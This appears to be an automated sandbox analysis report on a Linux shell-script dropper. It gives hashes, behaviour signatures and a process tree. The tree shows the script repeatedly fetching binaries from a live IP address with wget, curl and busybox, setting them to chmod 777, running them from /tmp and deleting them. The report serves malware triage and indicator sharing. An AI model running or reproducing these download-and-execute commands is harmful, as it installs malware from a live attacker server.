Analysis

  • max time kernel
    13s
  • max time network
    15s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/11/2024, 02:51

General

  • Target

    aab8724f91c479bdd2a93c20e6e7d055b2c17547b8fcfe5de3bf2263eba89719.sh

  • Size

    10KB

  • MD5

    8eccec101f87a3ed0841253c005aa97f

  • SHA1

    1619e034a10047b30bb121c4da04a6876dd1f076

  • SHA256

    aab8724f91c479bdd2a93c20e6e7d055b2c17547b8fcfe5de3bf2263eba89719

  • SHA512

    af180fba356f1d42cde849697eb3326d656c3e3cb1fee810d3bd038d24cf802ad4d93e67121dbb1cf54a49e67ea395a2cded2d2b457c496f069f7532054c9a33

  • SSDEEP

    96:Mk0WT740kP3wjK6sX4AcqQuUHCH2HI9H1Dzf740kP3G9mt0jUjK6swUDAAcT5HCq:Mk0WTDjK6sX4AcqQurcIUK6sJMAch

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/aab8724f91c479bdd2a93c20e6e7d055b2c17547b8fcfe5de3bf2263eba89719.sh
    /tmp/aab8724f91c479bdd2a93c20e6e7d055b2c17547b8fcfe5de3bf2263eba89719.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://216.126.231.240/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
          2⤵
            PID:659
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:678
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
            2⤵
              PID:687
            • /bin/chmod
              chmod 777 rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
              2⤵
              • File and Directory Permissions Modification
              PID:689
            • /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
              ./rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
              2⤵
              • Executes dropped EXE
              PID:690
            • /bin/rm
              rm rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B
              2⤵
                PID:691
              • /usr/bin/wget
                wget http://216.126.231.240/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
                2⤵
                  PID:692
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:693
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
                  2⤵
                    PID:697
                  • /bin/chmod
                    chmod 777 d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
                    2⤵
                    • File and Directory Permissions Modification
                    PID:703
                  • /tmp/d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
                    ./d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
                    2⤵
                    • Executes dropped EXE
                    PID:704
                  • /bin/rm
                    rm d1R2tZjac6omxkfQo9DWrwo0C1iI1soBef
                    2⤵
                      PID:705
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
                      2⤵
                        PID:706
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:714
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
                        2⤵
                          PID:720
                        • /bin/chmod
                          chmod 777 Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
                          2⤵
                          • File and Directory Permissions Modification
                          PID:725
                        • /tmp/Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
                          ./Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
                          2⤵
                          • Executes dropped EXE
                          PID:726
                        • /bin/rm
                          rm Ca1tYwT46uqUVOyPeS6TqAjun0aJadZl1e
                          2⤵
                            PID:728
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/j6lTHvlMjxrh5xlV6KSkWFMglNiHy29iuk
                            2⤵
                              PID:729
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/j6lTHvlMjxrh5xlV6KSkWFMglNiHy29iuk
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:734
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/j6lTHvlMjxrh5xlV6KSkWFMglNiHy29iuk
                              2⤵
                                PID:744
                              • /bin/chmod
                                chmod 777 j6lTHvlMjxrh5xlV6KSkWFMglNiHy29iuk
                                2⤵
                                • File and Directory Permissions Modification
                                PID:750
                              • /tmp/j6lTHvlMjxrh5xlV6KSkWFMglNiHy29iuk
                                ./j6lTHvlMjxrh5xlV6KSkWFMglNiHy29iuk
                                2⤵
                                • Executes dropped EXE
                                PID:751
                              • /bin/rm
                                rm j6lTHvlMjxrh5xlV6KSkWFMglNiHy29iuk
                                2⤵
                                  PID:753
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/bYpdcUFSB4aMHdsZalKNV4EtqlVyPQGXZo
                                  2⤵
                                    PID:754
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/bYpdcUFSB4aMHdsZalKNV4EtqlVyPQGXZo
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:756
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/bYpdcUFSB4aMHdsZalKNV4EtqlVyPQGXZo
                                    2⤵
                                      PID:757
                                    • /bin/chmod
                                      chmod 777 bYpdcUFSB4aMHdsZalKNV4EtqlVyPQGXZo
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:758
                                    • /tmp/bYpdcUFSB4aMHdsZalKNV4EtqlVyPQGXZo
                                      ./bYpdcUFSB4aMHdsZalKNV4EtqlVyPQGXZo
                                      2⤵
                                      • Executes dropped EXE
                                      PID:759
                                    • /bin/rm
                                      rm bYpdcUFSB4aMHdsZalKNV4EtqlVyPQGXZo
                                      2⤵
                                        PID:760
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/Er2RvXuTUt7dZZd72n9fPe7YCKcyvBOWG6
                                        2⤵
                                          PID:763
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/Er2RvXuTUt7dZZd72n9fPe7YCKcyvBOWG6
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:769
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/Er2RvXuTUt7dZZd72n9fPe7YCKcyvBOWG6
                                          2⤵
                                            PID:775
                                          • /bin/chmod
                                            chmod 777 Er2RvXuTUt7dZZd72n9fPe7YCKcyvBOWG6
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:780
                                          • /tmp/Er2RvXuTUt7dZZd72n9fPe7YCKcyvBOWG6
                                            ./Er2RvXuTUt7dZZd72n9fPe7YCKcyvBOWG6
                                            2⤵
                                            • Executes dropped EXE
                                            PID:782
                                          • /bin/rm
                                            rm Er2RvXuTUt7dZZd72n9fPe7YCKcyvBOWG6
                                            2⤵
                                              PID:783
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/D8JyIg64Y6Fn6N9I2xRRBRRz5gg1zld3IZ
                                              2⤵
                                                PID:784
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/D8JyIg64Y6Fn6N9I2xRRBRRz5gg1zld3IZ
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:791
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/D8JyIg64Y6Fn6N9I2xRRBRRz5gg1zld3IZ
                                                2⤵
                                                  PID:797
                                                • /bin/chmod
                                                  chmod 777 D8JyIg64Y6Fn6N9I2xRRBRRz5gg1zld3IZ
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:800
                                                • /tmp/D8JyIg64Y6Fn6N9I2xRRBRRz5gg1zld3IZ
                                                  ./D8JyIg64Y6Fn6N9I2xRRBRRz5gg1zld3IZ
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:801
                                                • /bin/rm
                                                  rm D8JyIg64Y6Fn6N9I2xRRBRRz5gg1zld3IZ
                                                  2⤵
                                                    PID:802
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/sZ5UcdMaxA1tH37XyCpQQnO7La6C0tTBsU
                                                    2⤵
                                                      PID:803
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/sZ5UcdMaxA1tH37XyCpQQnO7La6C0tTBsU
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:804
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/sZ5UcdMaxA1tH37XyCpQQnO7La6C0tTBsU
                                                      2⤵
                                                        PID:805
                                                      • /bin/chmod
                                                        chmod 777 sZ5UcdMaxA1tH37XyCpQQnO7La6C0tTBsU
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:806
                                                      • /tmp/sZ5UcdMaxA1tH37XyCpQQnO7La6C0tTBsU
                                                        ./sZ5UcdMaxA1tH37XyCpQQnO7La6C0tTBsU
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:807
                                                      • /bin/rm
                                                        rm sZ5UcdMaxA1tH37XyCpQQnO7La6C0tTBsU
                                                        2⤵
                                                          PID:808
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/CJOTYBy2p2114IdSRp1PsHiSXJ7JSPXB4Z
                                                          2⤵
                                                            PID:809

                                                        Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

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                                                              Downloads

                                                              • /tmp/rHUTEg2jXLiY6I08whbugWHCBkLJXiBr9B

                                                                Filesize

                                                                153B

                                                                MD5

                                                                998368d7c95ea4293237f2320546e440

                                                                SHA1

                                                                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                SHA256

                                                                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                SHA512

                                                                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97